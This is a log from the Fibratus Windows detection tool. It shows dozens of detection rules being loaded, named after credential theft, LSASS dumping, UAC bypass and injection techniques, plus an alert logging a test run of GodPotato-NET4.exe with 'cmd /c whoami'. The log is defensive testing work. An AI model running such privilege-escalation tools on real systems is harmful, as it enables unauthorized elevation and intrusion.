C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_dead_or_god_potato_exploit.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T12:13:09+01:00 level=info msg=bootstrapping with pid 13300. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:13:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-thread=>true enable-image=>true flush-interval=>1s min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-mem=>false enable-handle=>false enable-threadpool=>false enable-vamap=>true stack-enrichment=>true enable-fileio=>true enable-audit-api=>true max-buffers=>36 enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true gzip-compression=>false sniff=>false healthcheck-interval=>10s timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus trace-log=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus delivery-mode=>transient passive=>false durable=>false enabled=>false vhost=>/ timeout=>5s tls-insecure-skip-verify=>false] http=>[ serializer=>json endpoints=>[] enable-gzip=>false enabled=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false skip-registry=>false fastscan=>true skip-allocs=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:13:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:13:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:13:20+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato or GodPotato exploit]. Text: Event(s): source=action/alert.go:37 +time=2025-11-25T12:13:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:13:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:13:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T13:40:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T13:40:07+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T13:40:07+01:00 level=info msg=bootstrapping with pid 20936. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T13:40:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false enable-thread=>true max-buffers=>36 enable-dns=>false enable-registry=>true buffer-size=>512 enable-mem=>false enable-net=>true flush-interval=>1s min-buffers=>16 enable-audit-api=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true max-size=>100 max-age=>0 level=>info] + output ......................... [ http=>[ enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s method=>POST] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s passive=>false vhost=>/ delivery-mode=>transient routing-key=>fibratus exchange=>fibratus durable=>false enabled=>false] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false flush-period=>1s timeout=>5s gzip-compression=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false bulk-workers=>1 healthcheck-timeout=>5s enabled=>false healthcheck=>true] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-files=>[] fastscan=>true skip-files=>false skip-allocs=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T13:40:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T13:40:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T13:40:27+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1462049 + Pid: 15392 + Tid: 5088 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:26.60964 +0100 CET + Params: cmdline➜ "C:\Users\nedo\Downloads\GodPotato-NET4.exe" -cmd "cmd /c whoami", directory_table_base➜ 26400d000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\Downloads\GodPotato-NET4.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe1012b4ed080, name➜ GodPotato-NET4.exe, pid➜ 21408, ppid➜ 15392, real_ppid➜ 15392, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 13:40:26.60964 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764074595187127264, rule.name: Potential privilege escalation via DeadPotato exploit, 